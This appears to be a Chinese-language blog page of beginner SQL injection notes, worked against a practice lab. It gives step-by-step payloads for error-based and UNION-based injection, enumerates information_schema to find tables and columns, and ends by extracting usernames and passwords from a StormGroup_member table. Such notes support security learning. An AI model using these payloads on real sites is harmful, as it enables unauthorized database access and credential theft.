当前位置: 首页 > news >正文

SQL注入第一天

1.报错注入:

输入单引号后直接显示数据库错误:

?id=1'abcde

2. 联合查询注入:

先判断字段数量:

?id=1 ORDER BY 1 ?id=1 ORDER BY 2 ?id=1 ORDER BY 3 ?id=1 ORDER BY 4

从正常到报错的临界值可以确定字段数量。例如ORDER BY 4报错,通常表示查询有3列。

测试回显位置:

?id=-1 UNION SELECT 1,2,3

页面显示哪个数字,哪个位置就是回显位。

在靶场中验证数据库信息:(假设是2,3)

?id=-1 UNION SELECT 1,database(),version()

知识点:

MySQL 的information_schema

information_schema:MySQL 5.0 以上版本自带的系统数据库,保存数据库结构信息,不直接保存业务数据。

information_schema.schemata:记录数据库名称。

information_schema.tables:记录各数据库中的表。

information_schema.columns:记录各表中的字段。

.表示层级关系。例如:xiaoxiao.user:表示xiaoxiao数据库中的user表。

获取数据库基本信息:

version() -- 数据库版本 database() -- 当前数据库名 user() -- 数据库当前用户 @@version_compile_os -- 数据库运行系统

得出库名为mozhe_Discuz_StormGroup

?id=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

解释:

where table_schema='mozhe_Discuz_StormGroup':

只筛选出属于mozhe_Discuz_StormGroup这个库的

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

为什么要改用group_concat
因为union select时,如果原始页面只展示结果集的第 1 行数据,那么用table_name就只能看到一个表。使用group_concat()可以把所有表名合并到同一行的同一列中,这样无论页面只抓取哪一行,都能把全部表名带出来,信息收集效率更高

得出表之后就查列名

?id=-1 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name='StormGroup_member'

得到列名之后就可以查找敏感字段了:(账号,密码)

?id=1 union select 1, name, password, 4 from stormgroup_member

补充:

?id=-1 union select 1, concat(name,0x3a,password), 3, 4 from StormGroup_member order by id limit X,1

limit x,1的语法含义

在 MySQL 中,limit x, 1的含义是:跳过前 X 条记录,然后只取接下来的 1 条记录

X 从 0 开始limit 0,1代表取第1条;limit 1,1代表取第2条;limit 2,1代表取第3条……以此类推。

http://www.jsqmd.com/news/1297975/

相关文章:

  • Java多线程中sleep()与wait()的核心区别与应用场景
  • FBO焕新存储技术:如何解决UFS长期使用性能衰减问题
  • 系统化交易工具链全景:97个库与策略资源的量化交易知识图谱
  • 嵌入式步进电机控制:20秒实现按钮与遥控双模式驱动方案
  • applera1n:iOS 15-16激活锁绕过工具的完整技术指南
  • 如何用Uncle小说打造你的个人数字图书馆:全网小说下载与阅读完整指南
  • Go语言指针、方法与接口核心机制详解
  • 如何快速掌握GeoJSON.io:5个实用场景的免费在线地理数据编辑工具完整指南
  • C++游戏开发入门:从内存管理到实战框架构建
  • Barrier深度解析:构建跨平台KVM共享的技术架构与实践指南
  • DS1302实时时钟芯片驱动开发:从51到STM32的Proteus仿真全攻略
  • MaixCAM与无刷电机云台:嵌入式AI视觉跟踪系统实战
  • SpringBoot考研学习平台开发指南
  • 2026年水肥一体机生产厂家:智能、全自动、物联网水肥一体化设备专业供应商 - 优企名品
  • 非模式生物GO富集分析:基于UniProt自建注释库的完整实战指南
  • 基于Claude的深度调研工具:搜索接力机制与本地部署实践
  • 逆向苹果神经引擎:用私有 API 在 ANE 上训练 Transformer 的技术突破与边界
  • STM32开发入门:HAL库、Keil5与CubeMX环境搭建与实战指南
  • DeepBump:5分钟从图片到专业3D纹理的终极解决方案
  • haporxy概述,实验环境设定,haproxy安装及配置参数,socat日更新工具、基于cookie的会话保持
  • 射频AGC电路设计:从原理到实战,攻克环路振荡与响应速度难题
  • 假面骑士诺克斯DX驱动器全形态解析与立绘变更体验
  • SpringBoot+Vue工厂车间管理系统开发实战
  • 微软开源 AI 入门课程深度解析:一套地基扎实但有明确边界的学习体系
  • Spring Boot与MySQL构建智能售后系统实战
  • 基于Cucumber的UI自动化测试框架:从BDD理念到工程实践
  • 软件工程期末高效复习:用工程化思维构建知识体系与实战技巧
  • 2026年 无锡单锥双螺旋混合机专业供应商实力解析:高效均匀混合工艺与稳定可靠设备保障 - 优企名品
  • STM32F103C8T6流水灯项目实战:从GPIO原理到工程优化
  • 从STP到MSTP:生成树协议家族演进与二层网络防环实战